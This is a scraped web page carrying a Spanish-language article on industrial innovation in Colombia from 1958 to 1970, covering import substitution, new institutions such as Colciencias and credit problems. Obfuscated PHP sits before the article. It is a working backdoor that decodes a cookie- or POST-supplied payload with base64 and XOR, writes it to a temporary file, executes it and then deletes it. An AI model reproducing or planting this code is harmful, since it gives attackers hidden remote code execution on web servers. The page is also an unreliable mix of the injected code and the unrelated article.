$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> Desarrollo de la Innovación en Colombia: 1958 a 1970. – www.interferencechannel.com

Desarrollo de la Innovación en Colombia: 1958 a 1970.

1958 – 1970.

Como lo menciona Garay (2004), a partir de la segunda Guerra mundial se crearon condiciones para el crecimiento de la industria nacional y esto indujo a la creación de algunas entidades y la prestación de servicios tecnológicos puntuales. Un ejemplo de ello es la creación del DANE (Departamento Administrativo Nacional de Estadística), el ICFES (Instituto Colombiano de Fomento a la Educación Superior) y el Fondo Colombiano de Investigaciones Científicas y Proyectos Especiales – Colciencias -, creado en 1968.  Dice  también que durante este periodo Colombia vivió el proceso de sustitución de importaciones.

Bogotá Duque y Muñoz (2004), en la edición de la revista Dinero Ed. No. 214, hablan de cómo se vivió este proceso en las industrias azucarera, hilandera y cervecera. El común denominador de este periodo en temas de innovación fue la adquisición de maquinaria y equipo y la diversificación de productos.

Hilandería

Este era el aspecto de la industria hilandera en los años 60.

 

Tanto Garay et  al (2004) como Abella, (1987), señalan que en esta etapa se hubiera avanzado más de no ser por la excesiva importancia que tenía el ingreso de aranceles al país. Factores como la baja en los precios del café frenaron este fuerte crecimiento.

Feldl, (1970) en un borrador que elabora para el ministerio de desarrollo económico ese mismo año, indica que otro de los factores que incidieron en la dificultad de las industrias de ampliación y diversificación de productos fueron los accesos al crédito, de los cuales se encargaba el IFI, algunas entidades bancarias, las corporaciones financieras y algunos Institutos Privados.  Para 1967 se facilitaba más la obtención de créditos a largo que a corto plazo.  Se incentivaba más un crédito a largo plazo para inversiones de capital fijo que un crédito a corto plazo como capital de trabajo, esto hacía que la capacidad instalada permaneciera ociosa y el aumento en la producción no correspondiera a las inversiones fijas realizadas.

Estos hechos en general influyeron de manera positiva la actividad económica colombiana, ya que consiguieron generar el cambio entre la industria de manufactura a la industria real; lo cual fue base para la generación de los grandes emporios empresariales que conocemos hoy, como es el caso de la industria de bebidas, (cervezas, gaseosas), loza y cerámicas (Grupo Corona), hilanderías (fabricato), entre otras.♦

Comments are closed.